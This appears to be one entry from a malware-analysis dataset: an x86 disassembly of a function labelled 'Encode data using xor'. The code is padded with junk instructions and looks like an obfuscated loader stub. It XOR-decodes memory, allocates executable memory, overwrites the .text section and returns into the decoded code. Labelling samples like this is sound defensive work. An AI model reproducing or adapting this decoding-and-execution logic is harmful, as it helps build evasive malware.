Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x11ceb49e
mov edi, 0x208c86de
or edi, eax
popal
inc edi
not eax
mov edx, 0
mov eax, ecx
sub edi, 0x8deb5957
add edi, esi
mov ebx, eax
sub esi, 0x70c5c2ea
inc esi
mov ecx, ebx
add edi, 0x1a9a1c7
mov edi, 0x301bf757
inc edx
inc esi
add edi, 0xa0e76865
or esi, esi
cmp edx, 0x10011d1
jne 0xa789c2
add edi, 0xfb3a2a4a
sub esi, 0x36965cf
not edi
sub edi, eax
and edi, edi
not edi
mov eax, 0xa78796
mov esi, 0x7f932e93
mov esi, ecx
mov ebx, ecx
mov edi, 0xa7898a
mov ebx, esi
sub ecx, 0x3636a4b8
mov edx, dword [eax]
dec ecx
add ecx, ecx
add ebx, ebx
and edx, 0xff
add ebx, 0x331f6f5e
or ebx, esi
xor dword [edi], edx
or esi, ebx
mov esi, 0xb2d42ddf
inc edi
mov esi, 0x15ec65bb
or ebx, ebx
inc eax
add ebx, ebx
dec ecx
cmp edi, entry0
jl 0xa78a27
add ebx, ecx
sub ecx, 1
sub ebx, ecx
or ebx, esi
sub ecx, 0x81e81349
mov esi, 0x772b6842
mov edi, ebx
add edi, 0x497b0951
mov edx, 0xa7898e
mov edi, ebx
add edi, 0xf536ac68
mov edx, dword [edx]
add esi, ecx
sub edi, 0xb78c91b2
mov edx, dword [edx]
or ecx, ebx
add ecx, 0xde2b375a
push edx
sub ecx, 0x81fac66d
sub esi, 0x32294fb2
mov esi, 0x9568b884
mov edx, 0xa7898a
add ecx, 0x2a87c5d
inc ecx
sub ebx, esi
mov edx, dword [edx]
dec ebx
mov ebx, esi
mov edx, dword [edx]
sub ebx, 0x2fd984a6
add edi, edi
sub ecx, 1
push 0xa78992
add edi, edi
dec ebx
call edx
mov esi, 0x9d09796f
add ecx, 0xcd578ad0
mov ecx, 0x7a1b1ee
pop edx
not ebx
mov ebx, 0x6f90004f
push 0xa7899f
sub esi, 1
mov edi, 0x87e8862e
push eax
and ecx, ebx
add edi, 0xf7447600
call edx
sub ebx, 0xa7fb9750
or ebx, edi
sub esp, 4
mov dword [esp], 0x40
add esi, 0xd9e92475
not edi
sub esp, 4
mov dword [esp], 0x3000
or edi, ecx
sub edi, 0x1cb96a2f
push 0x20000146
add ebx, ecx
mov esi, 0x63e73ce8
not esi
push 0
sub esi, 0x3cbd7d82
dec ecx
call eax
dec ecx
sub esi, 0x7420ef88
add eax, 0x20000091
mov edi, 0x504dcb96
dec ecx
or ebx, edi
mov edx, 0xee06fcdf
add edi, 0x5ddf9672
sub edi, 0xe7d462bb
inc edi
mov dword [eax], edx
mov ebx, esi
mov esi, ebx
mov edx, dword [eax]
not ecx
mov esi, 0x9ad0a505
sub ecx, edi
cmp edx, 0xee06fcdf
je 0xa78b9e
mov ecx, 0
mov dl, byte [ecx]
add esi, edi
not edi
not edi
add esi, 1
add ecx, 0x1b6ca15f
add eax, 0xd10900c2
mov edi, 0x8fc3206a
add eax, eax
mov edx, section..text
add eax, eax
add edi, 0x6dd43c79
add eax, 0x69651a00
mov ecx, 0xa78795
mov eax, edi
sub eax, 0x27800241
mov esi, 0
add edi, eax
inc eax
and edi, eax
mov ebx, 0xa78796
sub edi, 0xdd51ecae
not eax
lea ebx, [ebx + esi]
not eax
and edi, eax
sub eax, 0x9118bf6f
mov ebx, dword [ebx]
dec eax
sub edi, eax
and ebx, 0xff
add eax, 1
mov edi, eax
mov eax, 0x386b894d
inc esi
inc eax
sub eax, edi
cmp esi, 0x1f4
jne 0xa78c2a
mov esi, 0
sub edi, 0x63454b92
not eax
not edi
or eax, edi
xor dword [edx], ebx
add eax, 0xafce3f81
not eax
add edx, 2
not edi
add eax, eax
dec eax
cmp edx, ecx
jl 0xa78be7
and eax, eax
and edi, eax
inc eax
add edi, 0x94549f06
sub edi, 0xebba8a14
mov edx, section..text
and ebx, ebx
not edi
not edi
mov eax, section..text
or ebx, edi
dec edi
mov esi, 0xa78795
sub ebx, 1
and ebx, edi
add ebx, 0x3c8a6ad5
mov ecx, 0
or edi, edi
mov ebx, edi
dec edi
mov cl, byte [eax]
or ebx, ebx
mov edi, 0x80c6d071
add edi, 0xf602d1b5
mov byte [edx], cl
mov edi, ebx
and edi, edi
inc edi
inc edx
not edi
mov ebx, 0xbb1bfae5
sub edi, ebx
add eax, 2
and edi, edi
and edi, edi
cmp eax, esi
jle 0xa78c94
mov ebx, edi
sub edi, 0x5aed2751
and ebx, ebx
mov edi, 0x8789e95c
or eax, edi
push 0x8dc6a0
inc eax
add eax, 0x892faf37
ret